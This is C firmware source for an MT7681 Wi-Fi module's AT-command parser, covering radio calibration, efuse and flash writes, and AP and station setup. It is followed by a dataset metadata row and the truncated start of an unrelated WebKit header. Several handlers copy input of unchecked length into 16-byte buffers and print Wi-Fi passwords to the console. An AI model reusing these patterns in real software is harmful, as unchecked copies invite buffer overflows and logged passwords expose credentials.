/*ATE Bandwidth (0:BW_20, 1:BW_40)*/
num = simple_strtol(optarg,&endptr,10);
MT7681_Set_ATE_TX_BW_Proc((uint8)num);
break;
case 'g':
/*ATE ShortGI Mode (0:Full GI 1:Half GI)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_GI_Proc((uint8)num);
//open this function with num=0, no frame be detect by sniffer with this command
//AT#ATECAL -S1 -C1 -m2 -c7 -b0 -g0 -l800 -f65 -p30 -n100000
//if -c5, -c6 is OK, -c7,-c8 NG
break;
case 'f':
/*ATE Freq Offset (0~FF)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_FREQ_OFFSET_Proc((uint8)num); //system halt if call this function, maybe stack issue
break;
case 'p':
/*ATE Tx Power (0~47)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_POWER((uint32)num);
break;
case 'l': //default length : ATE_TX_PAYLOAD_LEN=800
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_PAYLOAD_LEN((uint32)num);
break;
case 'n':
/*ATE Tx Frame Sent Counter (0~0xFFFFFFF)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_COUNT_Proc((uint32)num);
break;
case 'r':
/*ATE Tx Frame Sent Speed (0~0xFFFFFFF), unit:1ms*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_Speed_Proc((uint32)num);
break;
case 'u':
/*ATE Tx Count in every -r uint (0~20)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_Cnt_Per_Speed((uint32)num);
break;
case 't': //default time/duration : ATE_RX_CNT_DURATION=1000
/*ATE Rx Count Duration (0~0xFFFFFFF), unit:1ms*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_RX_DURATION((uint32)num);
break;
case 'P': //set BBP Tx Power0 (Range:[0~3],
//0-NormalTxPwr, 1-DropTxPwrBy6dB, 2-DropTxPwrBy12dB, 3-AddTxPwrBy6dB)
num = simple_strtol(optarg,&endptr,10);
OldValue = Set_ATE_BBP_TXPWR0((uint8)num);
printf_high("(BBPTxPwr0 Old=%d, New=%d)\n", OldValue, num);
break;
case '?':
default:
break;
}
opt = getopt(argc, argv, opString);
}
return 0;
}
uint8 RTMPIoctlE2PROM(bool type, char *pBuf, int16 Len)
{
char TmpBuf[16];
char *opString = "=";
char *endptr = NULL;
char *Data = NULL;
int16 DataLen = 0;
uint32 Value = 0;
uint32 Offset = 0;
int16 OffsetLen = 0;
uint8 eData = 0;
uint8 fData[1] = {0};
memset(TmpBuf, 0, sizeof(TmpBuf));
if ((pBuf == NULL) || (Len == 0))
return 1;
if (strchr(pBuf, ' ') != NULL)
return 2;
Data = strpbrk(pBuf, opString);
/*for efuse/flash read*/
if (Data == NULL) {
Offset = simple_strtol(pBuf, &endptr, 16);
if (type == 0) {
if (set_ate_efuse_read((uint16)Offset, &eData) == TRUE )
printf_high("[0x%x]=0x%02x\n",Offset, eData);
} else {
spi_flash_read((uint32)Offset, fData, 1);
printf_high("[0x%x]=[0x%02x]\n",Offset,fData[0]);
}
} else { /*for efuse/flash write*/
OffsetLen = Data - pBuf;
memcpy(TmpBuf, pBuf, OffsetLen);
Offset = simple_strtol(TmpBuf, &endptr, 16);
Data++; /*not include character "=" or "space"*/
DataLen = Len-OffsetLen-1;
memset(TmpBuf, 0, sizeof(TmpBuf));
memcpy(TmpBuf, Data, DataLen);
Value = simple_strtol(TmpBuf, &endptr, 16);
if (type == 0) {
if (set_ate_efuse_write((uint16)Offset, (uint8)Value) == FALSE)
printf_high("Offset must a even num\n");
} else {
spi_flash_write((uint32)Offset, (uint8*)&Value, 1);
printf_high("[0x%x]=[0x%02x]\n",Offset,Value);
}
}
}
uint8 ate_cmd_cali_hdlr(char *pBuf, int16 Len)
{
char Cmd[16];
int16 CmdLen = 0;
char *Data = NULL;
int16 DataLen = 0;
char *opString = "=";
long num = 0;
char *endptr = NULL;
memset(Cmd, 0, sizeof(Cmd));
if ((pBuf == NULL) || (Len == 0))
return 1;
if (strchr(pBuf, ' ') != NULL) {
Data = strpbrk(pBuf, " "); /*for case: set e2p d0=1E*/
} else {
Data = strpbrk(pBuf, opString); /*for case: set ATECHANNEL=1*/
}
if (Data == NULL)
return 2;
CmdLen = Data - pBuf;
memcpy(Cmd, pBuf, CmdLen);
Data++; /*not include character "=" or "space"*/
DataLen = Len-CmdLen-1;
if (!memcmp(Cmd,"ATE",CmdLen)) {
if (!memcmp(Data,"ATESTART",strlen("ATESTART"))) {
ATE_INIT();
} else if (!memcmp(Data,"TXFRAME",strlen("TXFRAME"))) {
ATE_TXFRAME();
} else if (!memcmp(Data,"RXFRAME",strlen("RXFRAME"))) {
ATE_RXFRAME();
} else if (!memcmp(Data,"ATESTOP",strlen("ATESTOP"))) {
ATE_STOP();
}
} else if (!memcmp(Cmd,"ATECHANNEL",CmdLen)) {
/*ATE Set Channel (0~14)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_Switch_CH((uint8)num);
} else if (!memcmp(Cmd,"ATETXMODE",CmdLen)) {
/*ATE Tx Mode (0:CCK, 1:OFDM, 2:HTMIX, 3:HT_GREEN_FIELD)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_MODE_Proc((uint8)num);
} else if (!memcmp(Cmd,"ATETXMCS",CmdLen)) {
/*ATE MCS rate (MCS num is ralated with TxMode)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_MCS_Proc((uint8)num);
} else if (!memcmp(Cmd,"ATETXBW",CmdLen)) {
/*ATE Bandwidth (0:BW_20, 1:BW_40)*/
num = simple_strtol(Data, &endptr,10);
MT7681_Set_ATE_TX_BW_Proc((uint8)num);
} else if (!memcmp(Cmd,"ATETXGI",CmdLen)) {
/*ATE ShortGI Mode (0:Full GI 1:Half GI)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_GI_Proc((uint8)num);
} else if (!memcmp(Cmd,"ATETXLEN",CmdLen)) {
//default length : ATE_TX_PAYLOAD_LEN=800
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_PAYLOAD_LEN((uint32)num);
} else if (!memcmp(Cmd,"ATETXFREQOFFSET",CmdLen)) {
/*ATE Freq Offset (0~FF)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_FREQ_OFFSET_Proc((uint8)num);
} else if (!memcmp(Cmd,"ATETXPOW0",CmdLen)) {
/*ATE Tx Power (0~47)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_POWER((uint32)num);
} else if (!memcmp(Cmd,"ATETXCNT",CmdLen)) {
/*ATE Tx Frame Sent Counter (0~0xFFFFFFF)*/
num = simple_strtol(Data, &endptr,10);
Set_ATE_TX_COUNT_Proc((uint32)num);
} else if (!memcmp(Cmd,"ATEDA",CmdLen)) {
/*not support*/
} else if (!memcmp(Cmd,"ResetCounter",CmdLen)) {
Set_ResetStatCounter_Proc();
} else if (!memcmp(Cmd,"e2p",CmdLen)) {
RTMPIoctlE2PROM(0, Data, DataLen);
} else if (!memcmp(Cmd,"flash",CmdLen)) {
RTMPIoctlE2PROM(1, Data, DataLen);
} else {
/*not support*/
}
return 0;
}
/*========================================================================
Routine Description:
iot_exec_atcmd_ate_cal -- Do ATE calibration for iwpriv cmd format
Arguments:
Return Value: 0 is success
Note:
========================================================================*/
/*Case1:Tx Calibration*/
/*iwpriv ra0 set ATE=ATESTART+enter*/
/*iwpriv ra0 set ATE=ATECHANNEL=1+enter*/
/*iwpriv ra0 set ATE=ATETXMODE=2+enter*/
/*iwpriv ra0 set ATE=ATETXMCS=7+enter*/
/*iwpriv ra0 set ATE=ATETXBW=1+enter*/
/*iwpriv ra0 set ATE=ATETXGI=0+enter*/
/*iwpriv ra0 set ATE=ATETXLEN=800+enter*/
/*iwpriv ra0 set ATE=ATETXFREQOFFSET=33+enter*/
/*iwpriv ra0 set ATE=ATETXCNT=10000+enter*/
/*iwpriv ra0 set ATE=ATETXPOW0=16+enter*/
/*iwpriv ra0 set ATE=ATETXFRAME+enter*/
/*Case2:Rx Calibration*/
/*iwpriv ra0 set ATE=ATESTART+enter*/
/*iwpriv ra0 set ATE=ATECHANNEL=1+enter*/
/*iwpriv ra0 set ATE=ATETXMODE=0+enter*/
/*iwpriv ra0 set ATE=ATETXMCS=0+enter*/
/*iwpriv ra0 set ATE=ATETXBW=0+enter*/
/*iwpriv ra0 set ATE=ATETXFREQOFFSET=33+enter*/
/*iwpriv ra0 set ATE=ATETXCNT=10000+enter*/
/*iwpriv ra0 set ATE=ATETXPOW0=16+enter*/
/*iwpriv ra0 set ATE=ATETXFRAME+enter*/
/*Case3:efuse/Flash r/w*/
/*iwpriv ra0 set e2p 0x52+enter*/
/*iwpriv ra0 set e2p 0x52=0x01+enter*/
/*iwpriv ra0 set flash 0x17052+enter*/
/*iwpriv ra0 set flash 0x17052=0x01+enter*/
int16 iot_exec_atcmd_ate_cal(puchar cmd_buf, int16 Len)
{
char Cmd[16];
int16 CmdLen = 0;
char *Data = NULL;
int16 DataLen = 0;
char opString[] = {' ',','};
/*To indicate Calibration mode is enabled for Recovery/Calibration State Machine*/
//not set to FALSE, once input ATE Calibration cmd, should keep Calibration Mode
gCaliEnabled = TRUE;
memset(Cmd, 0, sizeof(Cmd));
if ((cmd_buf == NULL) || (Len == 0))
return 1;
Data = strpbrk((char *)cmd_buf, opString);
if (Data == NULL) {
/* for the case: only has a cmd name, no cmd val
e.g: "iwpriv ra0 stat" or "AT#ATECAL stat"*/
CmdLen = Len;
DataLen = 0;
} else {
/* for the case: has a cmd name and cmd val with a sperator '='
e.g: "iwpriv ra0 set ATE=ATESTART" or "AT#ATECAL set ATE=ATESTART"*/
CmdLen = Data - (char *)cmd_buf;
Data++; /*not include character "=" */
DataLen = Len-CmdLen-1;
}
memcpy(Cmd, (char *)cmd_buf, CmdLen);
if (!memcmp(Cmd,"set",CmdLen)) {
ate_cmd_cali_hdlr(Data, DataLen); /*not include 1st Space*/
} else if (!memcmp(Cmd,"stat",CmdLen)) {
ate_cmd_cali_stat();
} else {
/*Do nothing*/
}
return 0;
}
#endif
#if (ATCMD_FLASH_SUPPORT == 1)
/* Format: AT#FLASH -r6 +enter*/
/* Format: AT#FLASH -s6 -v56+enter*/
int16 iot_atcmd_exec_flash(puchar pCmdBuf, int16 AtCmdLen)
{
char *argv[MAX_OPTION_COUNT];
char *opString = "r:s:v:c:?";
char *endptr = NULL;
long num = 0;
int16 argc = 0;
char opt = 0;
uint32 fOffset = 0;
uint8 fData[1] = {0};
uint32 stringLen = 0;
uint8 buffer[48] = {0};
split_string_cmd(pCmdBuf, AtCmdLen, &argc, argv);
opt = getopt(argc, argv, opString);
while (opt != -1) {
switch (opt) {
case 'r':
/*Flash Read Offset*/
num = simple_strtol(optarg,&endptr,0);
spi_flash_read((uint32)num, fData, 1);
printf_high("[0x%x]=[0x%02x]\n",num,fData[0]);
break;
case 's':
/*Flash Write Offset*/
num = simple_strtol(optarg,&endptr,0);
fOffset = (uint32)num;
break;
case 'v':
/*Flash Write Value*/
num = simple_strtol(optarg,&endptr,0);
if ( (fOffset < FLASH_OFFSET_RESERVE_2_START) ||
((fOffset >= FLASH_OFFSET_STA_FW_START) && (fOffset < FLASH_OFFSET_RESERVE_7_START))) {
/*Protecte the FW region*/
printf_high("[0x%x] is not permit to write!\n",fOffset);
}else{
spi_flash_write(fOffset, (uint8*)&num, 1);
printf_high("[0x%x]=[0x%02x]\n",fOffset,num);
}
break;
case 'c':
stringLen = strlen(optarg);
if(stringLen > (sizeof(buffer)-1))
stringLen = sizeof(buffer)-1;
memcpy(buffer, optarg, stringLen);
buffer[stringLen] ='\0';
spi_flash_write(fOffset, (uint8*)buffer, stringLen+1);
printf_high("[0x%x]=%s\n",fOffset,buffer);
break;
case '?':
default:
break;
}
opt = getopt(argc, argv, opString);
}
return 0;
}
#endif
#if (ATCMD_EFUSE_SUPPORT == 1)
/* Format: AT#EFUSE -r6 +enter*/
/* Format: AT#EFUSE -s6 -v56+enter*/
int16 iot_exec_atcmd_efuse_set(puchar pCmdBuf, int16 AtCmdLen)
{
char *argv[MAX_OPTION_COUNT];
char *opString = "r:s:v:?";
char *endptr = NULL;
long num = 0;
int16 argc = 0;
char opt = 0;
uint16 eOffset = 0;
uint8 eData = 0;
split_string_cmd(pCmdBuf, AtCmdLen, &argc, argv);
opt = getopt(argc, argv, opString);
while (opt != -1) {
switch (opt) {
case 'r':
/*Efuse Read Offset*/
num = simple_strtol(optarg,&endptr,0);
if ( set_ate_efuse_read((uint16)num, &eData) == TRUE )
printf_high("[0x%x]=0x%02x\n",num, eData);
break;
case 's':
/*Efuse Write Offset*/
num = simple_strtol(optarg,&endptr,0);
eOffset = (uint16)num;
break;
case 'v':
/*Efuse Write Value*/
num = simple_strtol(optarg,&endptr,0);
if ( set_ate_efuse_write(eOffset, (uint8)num) == FALSE)
printf_high("Offset must a even num\n");
break;
case '?':
default:
break;
}
opt = getopt(argc, argv, opString);
}
return 0;
}
#endif
#if (ATCMD_CH_SWITCH_SUPPORT == 1)
/*========================================================================
Routine Description:
iot_exec_atcmd_ch_switch -- switch channel and Bandwidth
-b: [0/1] 0=BW_20, 1=BW_40
-c: [1~14]
Arguments:
Return Value: 0 is success
Note: In present , the channel range is channel 1~14, and Bandwidth is only support 20MHz
========================================================================*/
int16 iot_exec_atcmd_ch_switch(puchar pCmdBuf, int16 AtCmdLen)
{
char *argv[MAX_OPTION_COUNT];
char *opString = "b:c:?";
char *endptr = NULL;
int16 argc = 0;
char opt = 0;
uint8 bbp = BW_20;
uint8 ch = 0;
split_string_cmd(pCmdBuf, AtCmdLen, &argc, argv);
opt = getopt(argc, argv, opString);
while (opt != -1) {
switch (opt) {
case 'b':
/*power saving level*/
bbp = (uint8)simple_strtol(optarg,&endptr,0);
if ((bbp==BW_20) || (bbp==BW_40)) {
printf_high("[Set BBP]=%d\n",bbp);
rtmp_bbp_set_bw(bbp);
}
break;
case 'c':
/*power sleep time*/
ch = (uint8)simple_strtol(optarg,&endptr,0);
if ((ch >0) && (ch <= 14)) {
printf_high("[Set CH]=%d\n",ch);
iot_atcmd_set_channel(ch);
}
break;
case '?':
default:
break;
}
opt = getopt(argc, argv, opString);
}
return 0;
}
#endif
#ifdef CONFIG_SOFTAP
/*========================================================================
Routine Description:
iot_exec_atcmd_conf_softap -- set soft ap configration
Arguments:
Return Value: 0 is success
Note:
example1: AT#SoftAPConf -sMT7681New1231 -a7 -p87654321 -c6 [-b112233445566]
example2: AT#SoftAPConf -m0 //store current AP cfg to flash
example3: AT#SoftAPConf -d0 //clean current AP cfg on the flash
========================================================================*/
int16 iot_exec_atcmd_conf_softap(puchar pCmdBuf, int16 AtCmdLen)
{
int16 argc = 0;
char *argv[MAX_OPTION_COUNT];
char *opString = "s:c:a:p:b:m:d:?";
int opt;
char *endptr = NULL;
uint8 SSID[MAX_SSID_PASS_LEN+1] = {0};
uint8 Password[MAX_SSID_PASS_LEN+1] = {0};
uint8 Bssid[MAC_ADDR_LEN]= {0};
uint8 Auth_Mode = 0;
uint8 Channel = 0;
uint32 SSIDLen = 0;
uint32 PSWLen = 0;
uint32 BssidLen = 0;
bool UpdateCfg = TRUE;
char BS[3] = {0};
uint8 i;
memset(argv,0,4*MAX_OPTION_COUNT);
split_string_cmd(pCmdBuf, AtCmdLen, &argc, argv);
optind = 1;
optarg = NULL;
opt = getopt(argc, argv, opString);
while (opt != -1) {
switch (opt) {
case 's':
if (optarg == NULL)
break;
SSIDLen = strlen(optarg);
if (SSIDLen > MAX_SSID_PASS_LEN) {
return -1;
}
memcpy(SSID, optarg, SSIDLen);
SSID[SSIDLen] ='\0';
printf_high("AT#SSID:[%s], Len = %d\n",SSID, strlen(optarg));
break;
case 'a': /*only support 0=OPEN, 4=WPAPSK, 7=WPA2PSK, 9=WPA/WPA2PSK*/
if (optarg == NULL)
break;
if (strlen(optarg) > MAX_AUTH_MODE_LEN) {
return -2;
}
Auth_Mode = (uint8)simple_strtol(optarg,&endptr,0);
printf_high("AT#Auth_Mode:%d\n",Auth_Mode);
break;
case 'p':
if (optarg == NULL)
break;
PSWLen = strlen(optarg);
if (PSWLen > MAX_SSID_PASS_LEN) {
return -3;
}
memcpy(Password, optarg, PSWLen);
Password[PSWLen] ='\0';
printf_high("AT#Password:%s\n",Password);
break;
case 'b':
if (optarg == NULL)
break;
BssidLen = strlen(optarg);
if (BssidLen < (2*MAC_ADDR_LEN)) {
return -3;
}
for(i=0; i<MAC_ADDR_LEN; i++) {
BS[0] = optarg[i*2+0];
BS[1] = optarg[i*2+1];
BS[2] = '\0';
Bssid[i] = (uint8)simple_strtol(BS,&endptr,16);
}
printf_high("AT#BSSID:");
for(i=0; i<MAC_ADDR_LEN; i++) {
printf_high("%02x",(Bssid[i] & 0xff));
}
printf_high("\n");
break;
case 'c':
if (optarg == NULL)
break;
Channel = (uint8)atoi(optarg);
printf_high("AT#Channel:%d\n",Channel);
break;
case 'm':
UpdateCfg = FALSE;
store_ap_cfg();
break;
case 'd':
UpdateCfg = FALSE;
reset_ap_cfg();
break;
case '?':
default:
break;
}
opt = getopt(argc, argv, opString);
}
if (UpdateCfg) {
if (BssidLen >= (2*MAC_ADDR_LEN)) {
iot_apcfg_update(Bssid, SSID, Auth_Mode, Password, Channel);
}
else {
iot_apcfg_update(NULL, SSID, Auth_Mode, Password, Channel);
}
}
return 0;
}
#endif
#if (ATCMD_STA_SUPPORT == 1)
/*========================================================================
Routine Description:
iot_exec_atcmd_conf_sta -- set sta configration
Arguments:
Return Value: 0 is success
Note:
example1: AT#StaConf -sMT7681New1231 -a7 -p87654321 [-b112233445566]
example2: AT#StaConf -m0 //store current STA cfg to flash
example3: AT#StaConf -d0 //clean current STA cfg on the flash
========================================================================*/
int16 iot_exec_atcmd_conf_sta(puchar pCmdBuf, int16 AtCmdLen)
{
int16 argc = 0;
char *argv[MAX_OPTION_COUNT];
char *opString = "s:a:p:b:m:d:?";
int opt;
char *endptr = NULL;
uint8 SSID[MAX_SSID_PASS_LEN+1] = {0};
uint8 Password[MAX_SSID_PASS_LEN+1] = {0};
uint8 Bssid[MAC_ADDR_LEN]= {0};
uint8 Auth_Mode = 0;
uint8 Channel = 0;
uint32 SSIDLen = 0;
uint32 PSWLen = 0;
uint32 BssidLen = 0;
bool UpdateCfg = TRUE;
char BS[3] = {0};
uint8 i;
memset(argv,0,4*MAX_OPTION_COUNT);
split_string_cmd(pCmdBuf, AtCmdLen, &argc, argv);
optind = 1;
optarg = NULL;
opt = getopt(argc, argv, opString);
while (opt != -1) {
switch (opt) {
case 's':
if (optarg == NULL)
break;
SSIDLen = strlen(optarg);
if (SSIDLen > MAX_SSID_PASS_LEN) {
return -1;
}
memcpy(SSID, optarg, SSIDLen);
SSID[SSIDLen] ='\0';
printf_high("AT#SSID:[%s], Len = %d\n",SSID, strlen(optarg));
break;
case 'a': /*only support 0=OPEN, 4=WPAPSK, 7=WPA2PSK, 9=WPA/WPA2PSK*/
if (optarg == NULL)
break;
if (strlen(optarg) > MAX_AUTH_MODE_LEN) {
return -2;
}
Auth_Mode = (uint8)simple_strtol(optarg,&endptr,0);
printf_high("AT#Auth_Mode:%d\n",Auth_Mode);
break;
case 'p':
if (optarg == NULL)
break;
PSWLen = strlen(optarg);
if (PSWLen > MAX_SSID_PASS_LEN) {
return -3;
}
memcpy(Password, optarg, PSWLen);
Password[PSWLen] ='\0';
printf_high("AT#Password:%s\n",Password);
break;
case 'b':
if (optarg == NULL)
break;
BssidLen = strlen(optarg);
if (BssidLen < (2*MAC_ADDR_LEN)) {
return -3;
}
for(i=0; i<MAC_ADDR_LEN; i++) {
BS[0] = optarg[i*2+0];
BS[1] = optarg[i*2+1];
BS[2] = '\0';
Bssid[i] = (uint8)simple_strtol(BS,&endptr,16);
}
printf_high("AT#BSSID:");
for(i=0; i<MAC_ADDR_LEN; i++) {
printf_high("%02x",(Bssid[i] & 0xff));
}
printf_high("\n");
break;
case 'm':
UpdateCfg = FALSE;
store_sta_cfg();
break;
case 'd':
UpdateCfg = FALSE;
reset_sta_cfg();
break;
case '?':
default:
break;
}
opt = getopt(argc, argv, opString);
}
if (UpdateCfg) {
if (BssidLen >= (2*MAC_ADDR_LEN)) {
iot_stacfg_update(Bssid, SSID, Auth_Mode, Password);
}
else {
iot_stacfg_update(NULL, SSID, Auth_Mode, Password);
}
}
return 0;
}
#endif
#if (ATCMD_REBOOT_SUPPORT == 1)
/*========================================================================
Routine Description:
iot_atcmd_exec_reboot -- system reboot
Arguments:
Return Value: NONE
Note:
========================================================================*/
void iot_atcmd_exec_reboot(void)
{
iot_sys_reboot();
return;
}
#endif
#if (ATCMD_GET_VER_SUPPORT == 1)
/*========================================================================
Routine Description:
iot_atcmd_exec_ver -- get FW version
Arguments:
Return Value: 0 is success, -1 is out of memory
Note:
========================================================================*/
int16 iot_atcmd_exec_ver(puchar pCmdBuf)
{
size_t len=0 , len2 =0;
/* the response header format is: "AT#CmdType=" */
iot_atcmd_resp_header((int8 *)pCmdBuf, &len, AT_CMD_PREFIX, AT_CMD_VER);
/*AT command Version*/
len2 = strlen(FW_VERISON_CUST);
memcpy(pCmdBuf + len, FW_VERISON_CUST, len2);
len += len2;
len2 = strlen("\n");
if ( (len + len2 + 3) >= AT_CMD_MAX_LEN) {
/*pCmdBuf is mallocated on iot_atcmd_hdlr(),
but here it's start after "AT#"
thus it's length is (AT_CMD_MAX_LEN-3); */
return -1;
}
memcpy(pCmdBuf + len, "\n", len2);
len += len2;
//len += 1;
//*(pCmdBuf+len) = '\n';
iot_uart_output((puchar)pCmdBuf, (int16)len);
return 0;
}
#endif
int16 iot_atcmd_parser(puchar cmd_buf, int16 AtCmdLen)
{
int16 ret_code = 0;
#if (ATCMD_CH_SWITCH_SUPPORT == 1)
int8 cTypeLen = 0;
#endif
//BUFFER_INFO *rx_ring = &(UARTPort.Rx_Buffer);
//PKT_DESC *rx_desc = &(UARTPort.Rx_desc);
cmd_buf[AtCmdLen] = '\0';
/* The current process is not encough*/
/* need improve for the command type and paramters parsing */
/* Format: AT#Default+enter*/
if (!memcmp(cmd_buf,AT_CMD_DEFAULT,sizeof(AT_CMD_DEFAULT)-1)) {
reset_cfg();
iot_linkdown(0); //disable Link Down to fix STA machine keeps SMNT and no reponse
}
#if (ATCMD_GET_VER_SUPPORT == 1)
/* Format: AT#Ver+enter*/
else if (!memcmp(cmd_buf,AT_CMD_VER,sizeof(AT_CMD_VER)-1)) {
ret_code = iot_atcmd_exec_ver(cmd_buf);
}
#endif
#if (ATCMD_REBOOT_SUPPORT == 1)
/* Format: AT#Reboot+enter*/
else if (!memcmp(cmd_buf,AT_CMD_REBOOT,sizeof(AT_CMD_REBOOT)-1)) {
iot_atcmd_exec_reboot();
}
#endif
#if (ATCMD_CH_SWITCH_SUPPORT == 1)
/* Format: AT#Channel -b0 -c6+enter */
//-b: [0/1] 0=BW_20, 1=BW_40
//-c: [1~14]
else if (!memcmp(cmd_buf,AT_CMD_CHANNEL,sizeof(AT_CMD_CHANNEL)-1)) {
ret_code = iot_exec_atcmd_ch_switch(cmd_buf, AtCmdLen);
}
#endif
#if (ATCMD_SOFTAP_SUPPORT == 1) && (ATCMD_SUPPORT == 1)
/* Format: AT#SoftAPConf -s[ssid] -c[channel] -a[auth_mode] -p[password] -b[bssid]+enter*/
/* now, only support Open mode without password */
/* Format: AT#SoftAPConf -m1+enter --->store current AP setting to flash*/
/* Format: AT#SoftAPConf -d1+enter --->clear AP setting in flash*/
else if (!memcmp(cmd_buf,AT_CMD_SOFTAP_CFG, sizeof(AT_CMD_SOFTAP_CFG)-1)) {
ret_code = iot_exec_atcmd_conf_softap(cmd_buf, AtCmdLen);
if (ret_code == 0)
printf_high("Config SoftAP success\n");
else
printf_high("Config SoftAP fail: %d\n", ret_code);
}
#endif
#if (ATCMD_STA_SUPPORT == 1) && (ATCMD_SUPPORT == 1)
/* Format: AT#StaConf -s[ssid] -a[auth_mode] -p[password] -b[bssid]+enter*/
/* now, only support Open mode without password */
/* Format: AT#StaConf -m1+enter --->store current AP setting to flash*/
/* Format: AT#StaConf -d1+enter --->clear AP setting in flash*/
else if (!memcmp(cmd_buf,AT_CMD_STA_CFG, sizeof(AT_CMD_STA_CFG)-1)) {
ret_code = iot_exec_atcmd_conf_sta(cmd_buf, AtCmdLen);
if (ret_code == 0)
printf_high("Config Sta success\n");
else
printf_high("Config Sta fail: %d\n", ret_code);
}
#endif
#if (ATCMD_FLASH_SUPPORT == 1)
/* Format: AT#FLASH -r6 +enter*/
/* Format: AT#FLASH -s6 -v56+enter*/
else if (!memcmp(cmd_buf,AT_CMD_FLASH_SET,sizeof(AT_CMD_FLASH_SET)-1)) {
ret_code = iot_atcmd_exec_flash(cmd_buf, AtCmdLen);
}
#endif
#if (ATCMD_EFUSE_SUPPORT == 1)
/* Format: AT#EFUSE -r6 +enter*/
/* Format: AT#EFUSE -s6 -v56 +enter*/
else if (!memcmp(cmd_buf,AT_CMD_EFUSE_SET,sizeof(AT_CMD_EFUSE_SET)-1)) {
ret_code = iot_exec_atcmd_efuse_set(cmd_buf, AtCmdLen);
}
#endif
#if (ATCMD_ATE_SUPPORT == 1) //20140528 delete old ATE calibration cmd handler, be instead of iwpriv cmd format handler
/* Format: AT#ATECAL -C1 -m1 -c7 -g0 -f65 -p30 -n100000+enter*/
else if (!memcmp(cmd_buf,AT_CMD_ATE_CAL,sizeof(AT_CMD_ATE_CAL)-1)) {
gATEInfo.ATECmdFmt = ATE_CMD_TYPE_AT;
ret_code = iot_exec_atcmd_ate_cal2(cmd_buf, AtCmdLen);
}
#endif
#if (ATCMD_UART_SUPPORT == 1) && (UART_SUPPORT == 1)
/* Format: AT#Uart -b57600 -w7 -p1 -s1 +enter*/
else if (!memcmp(cmd_buf,AT_CMD_UART,sizeof(AT_CMD_UART)-1)) {
ret_code = iot_exec_atcmd_uart(cmd_buf, AtCmdLen);
}
#if (ATCMD_RECOVERY_SUPPORT==0)
/* Format: AT#CMD +enter*/
else if (!memcmp(cmd_buf,AT_CMD_CMD,sizeof(AT_CMD_CMD)-1)) {
iot_at_command_switch(TRUE);
}
/* Format: AT#DATA +enter*/
else if (!memcmp(cmd_buf,AT_CMD_DATA,sizeof(AT_CMD_DATA)-1)) {
iot_at_command_switch(FALSE);
}
#endif
#endif
/*Only for Debug*/
#if (ATCMD_ATE_MBR_CTL == 1)
else if (!memcmp(cmd_buf,AT_CMD_MAC_SET,sizeof(AT_CMD_MAC_SET)-1)) {
ret_code = iot_exec_atcmd_mac_rw(cmd_buf, AtCmdLen);
} else if (!memcmp(cmd_buf,AT_CMD_BBP_SET,sizeof(AT_CMD_BBP_SET)-1)) {
ret_code = iot_exec_atcmd_bbp_rw(cmd_buf, AtCmdLen);
} else if (!memcmp(cmd_buf,AT_CMD_RF_SET,sizeof(AT_CMD_RF_SET)-1)) {
ret_code = iot_exec_atcmd_rf_rw(cmd_buf, AtCmdLen);
}
#endif
#if (ATCMD_UART_FW_SUPPORT == 1) && (UART_SUPPORT == 1)
/* Format: AT#UpdateFW+enter (the range of type is [1~7] ) */
else if (!memcmp(cmd_buf,AT_CMD_UPDATEFW,sizeof(AT_CMD_UPDATEFW)-1)) {
iot_xmodem_update_fw_start(); /*Disable Uart Rx Interrupt*/
iot_xmodem_update_fw();
iot_xmodem_update_fw_stop(); /*Restore Uart Rx Interrupt*/
}
#endif
#if (ATCMD_SW_SUPPORT == 1)
/* Format: AT#AP+enter */
else if (!memcmp(cmd_buf,AT_CMD_AP,sizeof(AT_CMD_AP)-1)) {
iot_switch_to_ap();
}
/* Format: AT#STA+enter */
else if (!memcmp(cmd_buf,AT_CMD_STA,sizeof(AT_CMD_STA)-1)) {
iot_switch_to_sta();
}
#endif
return ret_code;
}
int16 iot_iwcmd_parser(puchar cmd_buf, int16 AtCmdLen)
{
int16 ret_code = 0;
#if (ATCMD_ATE_SUPPORT == 1)
cmd_buf[AtCmdLen] = '\0';
gATEInfo.ATECmdFmt = ATE_CMD_TYPE_IWPRIV;
ret_code = iot_exec_atcmd_ate_cal(cmd_buf, AtCmdLen);
#endif
return ret_code;
}
| 32.376037 | 121 | 0.510277 |
6780672dc05ba303aa5ebda3beb57fcd462b3fd5 | 1,933 | h | C | System/Library/Frameworks/WebKit.framework/WKActionSheetAssistant.h | lechium/tvOS10Headers | f0c99993da6cc502d36fdc5cb4ff90d94b12bf67 | [
"MIT"
] | 4 | 2017-03-23T00:01:54.000Z | 2018-08-04T20:16:32.000Z | System/Library/Frameworks/WebKit.framework/WKActionSheetAssistant.h | lechium/tvOS10Headers | f0c99993da6cc502d36fdc5cb4ff90d94b12bf67 | [
"MIT"
] | null | null | null | System/Library/Frameworks/WebKit.framework/WKActionSheetAssistant.h | lechium/tvOS10Headers | f0c99993da6cc502d36fdc5cb4ff90d94b12bf67 | [
"MIT"
] | 4 | 2017-05-14T16:23:26.000Z | 2019-12-21T15:07:59.000Z | /*
* This header is generated by classdump-dyld 1.0
* on Wednesday, March 22, 2017 at 9:04:40 AM Mountain Standard Time
* Operating System: Version 10.1 (Build 14U593)
* Image Source: /System/Library/Frameworks/WebKit.framework/WebKit
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos.
*/
#import <WebKit/WebKit-Structs.h>
#import <libobjc.A.dylib/WKActionSheetDelegate.h>
#import <libobjc.A.dylib/DDDetectionControllerInteractionDelegate.h>
@class UIView, NSString;
@interface WKActionSheetAssistant : NSObject <WKActionSheetDelegate, DDDetectionControllerInteractionDelegate> {
WeakObjCPtr<id<WKActionSheetAssistantDelegate> > _delegate;
RetainPtr<WKActionSheet>* _interactionSheet;
RetainPtr<_WKActivatedElementInfo>* _elementInfo;
